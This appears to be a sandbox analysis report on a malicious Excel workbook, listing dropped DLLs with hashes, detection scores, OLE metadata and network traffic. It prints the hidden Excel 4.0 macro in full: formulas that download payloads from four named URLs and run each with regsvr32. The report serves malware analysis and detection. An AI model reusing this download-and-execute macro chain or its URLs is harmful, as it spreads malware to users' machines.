Category:	dropped
Size (bytes):	61480
Entropy (8bit):	7.9951219482618905
Encrypted:	true
SSDEEP:	1536:kmu7iDG/SCACih0/8uIGantJdjFpTE8lTeNjiXKGgUN:CeGf5gKsG4vdjFpjlYeX9gUN
MD5:	B9F21D8DB36E88831E5352BB82C438B3
SHA1:	4A3C330954F9F65A2F5FD7E55800E46CE228A3E2
SHA-256:	998E0209690A48ED33B79AF30FC13851E3E3416BED97E3679B6030C10CAB361E
SHA-512:	D4A2AC7C14227FBAF8B532398FB69053F0A0D913273F6917027C8CADBBA80113FDBEC20C2A7EB31B7BB57C99F9FDECCF8576BE5F39346D8B564FC72FB1699476
Malicious:	false
Preview:	MSCF....(.......,...................I........y.........Tbr .authroot.stl..$..4..CK..<Tk...c_.d....A.K.....Y.f....!.))$7I.....e..eKT..k....n.3.......S..9.s.....3H.Mh......qV.=M6.=.4.F.....V:F..]......B`....Q...c"U.0.n....J.....4.....i7s..:.27....._...+).lE..he.4\|.?,...h....7..PA..b.,. .....#1+..o...g.....2n1m...=.......Dp.;..f..ljX.Dx..r<'.1RI3B0<w.D.z..)D\|..8<..c+..'XH..K,.Y..d.j.<.A.......l_lVb[w..rDp...'.....nL....!G.F....f.fX..r.. ?.....v(...L..<.\.Z..g;.>.0v...P ......\|...A..(..x...T0.`g...c..7.U?...9.p..a..&..9......sV..l0..D..fhi..h.F....q...y.....Mq].4..Z.....={L....AS..9.....:.:.........+..P.N....EAQ.V. sr.....y.B.`.Efe..8../....$...y-.q.J.......nP...2.Q8...O........M.@\.>=X....V..z.4.=.@...ws.N.M3.S.c?.....C4]?..\.K.9......^...CU......O....X.`........._.gU.....V.{V6..m..D.-\|.Q.t.7.....9.~....[...I.<e...~$..>......s.I.S....~1..IV.2Ri:..]R!8...q...l.X.%.)@......2.gb,t...}..;...@.Z..<q..y..:...e3..cY.we.$....z..\| .#.......I...

C:\Users\user\AppData\Local\Temp\Tar5CCA.tmp

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	data
Category:	modified
Size (bytes):	162196
Entropy (8bit):	6.301436092020807
Encrypted:	false
SSDEEP:	1536:Nga6crtilgCyNY2Ip/5ib6NWdm1wpzru2RPZz04D8rlCMiB3XlMc:Na0imCy/dm0zru2RN97MiVGc
MD5:	E721613517543768F0DE47A6EEEE3475
SHA1:	3FFC13E3157CF6EB9E9CCAB57B9058209AF41D69
SHA-256:	3163B82D1289693122EF99ED6C3C1911F68AA2A7296907CEBF84C897141CED4E
SHA-512:	E097CAB58C5E390FDC2DB03A59329A548A60069804487828B70519A403622260E57F10B09D9DDAEEB3C31491FE32221FB67965C490771A3D42E45EBB8BE26587
Malicious:	false
Preview:	0..y....H.........y.0..yz...1.0...`.H.e......0..i...+.....7.....i.0..i.0...+.....7........SiU[v...220418211447Z0...+......0..i.0..D.....`...@.,..0..0.r1..0...+.....7..h1......+h...0...+.....7..~1......D...0...+.....7..i1...0...+.....7<..0 ..+.....7...1.......@N...%.=.,..0$..+.....7...1......`@V'..%..*..S.Y.00..+.....7..b1". .].L4.>..X...E.W..'..........-@w0Z..+.....7...1L.JM.i.c.r.o.s.o.f.t. .R.o.o.t. .C.e.r.t.i.f.i.c.a.t.e. .A.u.t.h.o.r.i.t.y...0..,...........[./..uIv..%1...0...+.....7..h1.....6.M...0...+.....7..~1...........0...+.....7...1...0...+.......0 ..+.....7...1...O..V.........b0$..+.....7...1...>.)....s,.=$.~R.'..00..+.....7..b1". [x.....[....3x:_....7.2...Gy.cS.0D..+.....7...16.4V.e.r.i.S.i.g.n. .T.i.m.e. .S.t.a.m.p.i.n.g. .C.A...0......4...R....2.7.. ...1..0...+.....7..h1......o&...0...+.....7..i1...0...+.....7<..0 ..+.....7...1...lo...^....[...J@0$..+.....7...1...J\u".F....9.N...`...00..+.....7..b1". ...@.....G..d..m..$.....X...}0B..+.....7...14.2M.i.c.r.o.s.o

C:\Users\user\AppData\Local\Temp\~DFCBAF547270F146D3.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	512
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	BF619EAC0CDF3F68D496EA9344137E8B
SHA1:	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5
SHA-256:	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
SHA-512:	DF40D4A774E0B453A5B87C00D6F0EF5D753143454E88EE5F7B607134598294C7905CCBCF94BBC46E474DB6EB44E56A6DBB6D9A1BE9D4FB5D1B5F2D0C6ED34BFE
Malicious:	false
Preview:	................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\~DFDB8800F55F6FFF92.TMP

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	data
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	3.4818375138006856
Encrypted:	false
SSDEEP:	768:0kMKpb8rGYrMPe3q7Q0XV5xtezEs/68/dgATO9s1XS:0fKpb8rGYrMPe3q7Q0XV5xtezEsi8/da
MD5:	79604F8B12BBF9C72D44D2922D3DF91F
SHA1:	A70A9932C6BCC805F4D0041DD16E1AE6E970FAAB
SHA-256:	04F3ED3D4F8811EC35B469E3443EE6A68C18ABC42A67E65D0F785CF187334687
SHA-512:	B3F0CF5B45D4DA6028471BD97D306E82410BAB397C0BB8EA749B3E4FD95B4DDBB080A4CEBC861AA9246D627D4081454F78D4AFD853E6BF90F307404845B34347
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\Desktop\Scan 2022.20.05_0910.xls

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu May 19 22:08:10 2022, Security: 0
Category:	dropped
Size (bytes):	69120
Entropy (8bit):	6.420771368581711
Encrypted:	false
SSDEEP:	1536:qfKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg79s1a6YG2jzQ0viPvDNHhnN:4Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgs
MD5:	BE5EE29E70C42F01D8C4041011F28138
SHA1:	EBCBB7BF42B589F37C91DA7E60FAD6DE281B004E
SHA-256:	45C49D49EB57E3B2A851E276BA3A45AD22D46C31969E282537F3D302CA1C6C05
SHA-512:	1DA5057D569E8513FEC612059418628256944A6B3827BB1AD5FF79DB912A278196B75BB35B5DE67329A5E2EAB9001307368CBF696BAC890916E65AD4352D2BA3
Malicious:	true
Preview:	......................>...............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................ZO..........................\.p....userTH B.....a.........=.................................................=........Ve18.......X.@...........".......................1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1...................C.a.l.i.b.r.i.1.......

C:\Users\user\uxevr1.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.15810876493923
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTC0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TPRIvgMSS3AyUrhYu3j
MD5:	CEA8BCCAAFA4CAD4EE2B6E9C3BD9C5C0
SHA1:	88380A35FFC07852B9FACEFF786267DF969A0488
SHA-256:	BAC00AC59383049CF72FC97827D2C8D773FF1ACFC7A132630B133EEDAF9A8241
SHA-512:	A2048D39C24CE94A1D1DF97C577A30A5FAF7573ADC80517381AFDBE769C0D0AF46EDA34B9E897766802440D535DA507EB8C520BD65E13F9D599490EC79836956
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr2.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158108067630563
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTs+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TsrRIvgMSS3AyUrhYu3j
MD5:	EB2D8E105A7A5FBB94CD39848C0B0BC1
SHA1:	21BA3DFB8AA182350CD3EA7CAFB216DFB569EF0C
SHA-256:	3D4A04171182D15A097CC440BABF14582EB0956335AC0C93D7A67225D9E80087
SHA-512:	F0982C373F67A7EDDA6C9CC8B188CC350D19513A77F7F6E2B283132A317126DCA9621F9CA9E23FE28036592B25EBE337A67B49F3775B60FF4E544EA52E549EF0
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Users\user\uxevr3.ocx

Download File

Process:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158088154364803
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT50JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TYRIvgMSS3AyUrhYu3j
MD5:	415A33A830691C3A730AE345F14C7F30
SHA1:	B6FBFAB79E9DE7B81E692149E8059113169AC374
SHA-256:	47F24531BCBBF0C36792AF57CEB134B25E2481AE20B53D74283FBA4E542261BA
SHA-512:	0C92DC9608770EE109C7641B0F46E151CC06A9EE5B8789BC9498C8879E12C1515D46F8F320D54B10DF292121867EA4080C93D2951C1B57C816D6E37D7BA26731
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 40%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\AVQhDTOoTQ\JuebGslFXTeyRNG.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158108067630563
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTs+0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVO:i5MR9M6y3TsrRIvgMSS3AyUrhYu3j
MD5:	EB2D8E105A7A5FBB94CD39848C0B0BC1
SHA1:	21BA3DFB8AA182350CD3EA7CAFB216DFB569EF0C
SHA-256:	3D4A04171182D15A097CC440BABF14582EB0956335AC0C93D7A67225D9E80087
SHA-512:	F0982C373F67A7EDDA6C9CC8B188CC350D19513A77F7F6E2B283132A317126DCA9621F9CA9E23FE28036592B25EBE337A67B49F3775B60FF4E544EA52E549EF0
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 34%, Browse Antivirus: ReversingLabs, Detection: 42%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\IWJyiUbrMYkKNab\HrQqTfHWMtY.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.158088154364803
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcT50JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TYRIvgMSS3AyUrhYu3j
MD5:	415A33A830691C3A730AE345F14C7F30
SHA1:	B6FBFAB79E9DE7B81E692149E8059113169AC374
SHA-256:	47F24531BCBBF0C36792AF57CEB134B25E2481AE20B53D74283FBA4E542261BA
SHA-512:	0C92DC9608770EE109C7641B0F46E151CC06A9EE5B8789BC9498C8879E12C1515D46F8F320D54B10DF292121867EA4080C93D2951C1B57C816D6E37D7BA26731
Malicious:	true
Antivirus:	Antivirus: Metadefender, Detection: 29%, Browse Antivirus: ReversingLabs, Detection: 40%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

C:\Windows\System32\PlMfP\OpoHHoBHS.dll (copy)

Download File

Process:	C:\Windows\System32\regsvr32.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	365056
Entropy (8bit):	7.15810876493923
Encrypted:	false
SSDEEP:	3072:JI0AM0yQkR9M6lglELtJUNjiWGyWcTC0JUiA2tqZ4IvUlDAj7UOjVifSwHEDQVLK:i5MR9M6y3TPRIvgMSS3AyUrhYu3j
MD5:	CEA8BCCAAFA4CAD4EE2B6E9C3BD9C5C0
SHA1:	88380A35FFC07852B9FACEFF786267DF969A0488
SHA-256:	BAC00AC59383049CF72FC97827D2C8D773FF1ACFC7A132630B133EEDAF9A8241
SHA-512:	A2048D39C24CE94A1D1DF97C577A30A5FAF7573ADC80517381AFDBE769C0D0AF46EDA34B9E897766802440D535DA507EB8C520BD65E13F9D599490EC79836956
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 65%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..........8..ik..ik..ik...k..ik...k..ik..k..ik..hk..ik...k..ik...k..ik...k..ik...k..ikRich..ik................PE..d...v{.b.........." .................5...............................................T....@....................................................P.................................................................................... ...............................text............................... ..`.rdata..T.... ......................@..@.data....7..........................@....pdata..............................@..@.rsrc...............................@..@.reloc..............................@..B........................................................................................................................................................................................................................................................................

Static File Info

General

File type:	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Author: Dream, Last Saved By: TYHRETH, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu May 19 22:08:10 2022, Security: 0
Entropy (8bit):	6.420547006537839
TrID:	Microsoft Excel sheet (30009/1) 78.94% Generic OLE2 / Multistream Compound File (8008/1) 21.06%
File name:	Scan 2022.20.05_0910.xls
File size:	69138
MD5:	93ba39759e944e0a660cf1a72919ff59
SHA1:	0d87f3752893a11174df5d1222215014e59d0fd5
SHA256:	72d8274eff2d60af4d452efbfb42abf5ce3ac64ea949772350b3c628c842941a
SHA512:	b6d2eed03b0fb53a0a99f5a7225de804228469a58a7c802c047ad75b1578280de718d5aa08e44464162b9290491ee91e4b3b5e591e5a451cb1be7cf9e978f670
SSDEEP:	1536:dfKpb8rGYrMPe3q7Q0XV5xtezEsi8/dg79s1a6YG2jzQ0viPvDNHhnOu:9Kpb8rGYrMPe3q7Q0XV5xtezEsi8/dgy
TLSH:	CC635B427A59C92DF914D33549D74BA97317FC318F6B0A833225B324AFFD8A09A0761B
File Content Preview:	........................>......................................................................................................................................................................................................................................

File Icon


Icon Hash:	e4eea286a4b4bcb4

Static OLE Info

General

Document Type:	OLE
Number of OLE Files:	1

OLE File "Scan 2022.20.05_0910.xls"

Indicators

Has Summary Info:
Application Name:	Microsoft Excel
Encrypted Document:	False
Contains Word Document Stream:	False
Contains Workbook/Book Stream:	True
Contains PowerPoint Document Stream:	False
Contains Visio Document Stream:	False
Contains ObjectPool Stream:	False
Flash Objects Count:	0
Contains VBA Macros:	False

Summary

Code Page:	1251
Author:	Dream
Last Saved By:	TYHRETH
Create Time:	2015-06-05 18:19:34
Last Saved Time:	2022-05-19 21:08:10
Creating Application:	Microsoft Excel
Security:	0

Document Summary

Document Code Page:	1251
Thumbnail Scaling Desired:	False
Company:
Contains Dirty Links:	False
Shared Document:	False
Changed Hyperlinks:	False
Application Version:	1048576

Streams

Stream Path: \x5DocumentSummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5DocumentSummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.404258978601
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . + , . . 0 . . . . . . . . . . . . . . . P . . . . . . . X . . . . . . . d . . . . . . . l . . . . . . . t . . . . . . . \| . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . S h e e t . . . . . E S R S G B 1 . . . . . E G S H R H V 2 . . . . . E S H V G R E R 3 . . . . . P K E K P P G
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5 cd d5 9c 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 18 01 00 00 09 00 00 00 01 00 00 00 50 00 00 00 0f 00 00 00 58 00 00 00 17 00 00 00 64 00 00 00 0b 00 00 00 6c 00 00 00 10 00 00 00 74 00 00 00 13 00 00 00 7c 00 00 00 16 00 00 00 84 00 00 00 0d 00 00 00 8c 00 00 00 0c 00 00 00 d7 00 00 00

Stream Path: \x5SummaryInformation, File Type: data, Stream Size: 4096

General
Stream Path:	\x5SummaryInformation
File Type:	data
Stream Size:	4096
Entropy:	0.281284383303
Base64 Encoded:	False
Data ASCII:	. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . O h . . . . . + ' . . 0 . . . . . . . . . . . . . . . @ . . . . . . . H . . . . . . . X . . . . . . . h . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . D r e a m . . . . . . . . . . . T Y H R E T H . . . . . . . . . M i c r o s o f t E x c e l . @ . . . . ? R , . . . . @ . . . . Y * . . k . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	fe ff 00 00 0a 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f f2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 a0 00 00 00 07 00 00 00 01 00 00 00 40 00 00 00 04 00 00 00 48 00 00 00 08 00 00 00 58 00 00 00 12 00 00 00 68 00 00 00 0c 00 00 00 80 00 00 00 0d 00 00 00 8c 00 00 00 13 00 00 00 98 00 00 00 02 00 00 00 e3 04 00 00 1e 00 00 00 08 00 00 00

Stream Path: Workbook, File Type: Applesoft BASIC program data, first line number 16, Stream Size: 58381

General
Stream Path:	Workbook
File Type:	Applesoft BASIC program data, first line number 16
Stream Size:	58381
Entropy:	7.10162880813
Base64 Encoded:	True
Data ASCII:	. . . . . . . . Z O . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . p . . . . T Y H R E T H B . . . . . a . . . . . . . . . = . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . = . . . . . . . . V e 1 8 . . . . . . . X . @ . . . . . . . . . . . " . . .
Data Raw:	09 08 10 00 00 06 05 00 5a 4f cd 07 c9 00 02 00 06 08 00 00 e1 00 02 00 b0 04 c1 00 02 00 00 00 e2 00 00 00 5c 00 70 00 07 00 00 54 59 48 52 45 54 48 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20

Macro 4.0 Code

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepre7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://microlent.com/admin/3/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mcapublicschool.com/Achievements/r4psv/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moorworld.com/aspnet_client/fTDJOdTa1USKl43wFtnb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)

Name:	PKEKPPGEKKPGE
Type:	4
Final:	False
Visible:	False
Protected:	False
PKEKPPGEKKPGE4False0Falsepost7,5,=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://microlent.com/admin/3/","..\uxevr1.ocx",0,0)",F11)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")",F13)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/","..\uxevr2.ocx",0,0)",F15)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")",F17)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mcapublicschool.com/Achievements/r4psv/","..\uxevr3.ocx",0,0)",F19)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")",F21)=FORMULA("=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moorworld.com/aspnet_client/fTDJOdTa1USKl43wFtnb/","..\uxevr4.ocx",0,0)",F23)=FORMULA("=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")",F25)=FORMULA("=RETURN()",F29)10,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://microlent.com/admin/3/","..\uxevr1.ocx",0,0)12,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr1.ocx")14,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://kuluckaci.com/yarisma/cgi-bin/aIuI4Ukdtl730sP1F/","..\uxevr2.ocx",0,0)16,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr2.ocx")18,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://mcapublicschool.com/Achievements/r4psv/","..\uxevr3.ocx",0,0)20,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr3.ocx")22,5,=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://moorworld.com/aspnet_client/fTDJOdTa1USKl43wFtnb/","..\uxevr4.ocx",0,0)24,5,=EXEC("C:\Windows\System32\regsvr32.exe /S ..\uxevr4.ocx")28,5,=RETURN()

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 23, 2022 09:56:37.697509050 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:37.697566986 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:37.697668076 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:37.718632936 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:37.718678951 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.310031891 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.310261011 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.326199055 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.326229095 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.326577902 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.326711893 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.561959982 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.604517937 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.778892994 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.779031038 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.779114008 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.779149055 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.779175043 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.779228926 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.779280901 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.779289961 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.779387951 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.785492897 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.970791101 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.970877886 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.970985889 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971043110 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.971066952 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971101046 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.971113920 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971127987 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.971173048 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971185923 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.971204996 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971218109 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:38.971259117 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971281052 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:38.971368074 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163043976 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163180113 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163259029 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163288116 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163337946 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163368940 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163405895 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163512945 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163525105 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163547993 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163609982 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163652897 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163729906 CEST	443	49173	103.195.4.8	192.168.2.22
May 23, 2022 09:56:39.163830996 CEST	49173	443	192.168.2.22	103.195.4.8
May 23, 2022 09:56:39.163847923 CEST	443	49173	103.195.4.8	192.168.2.22
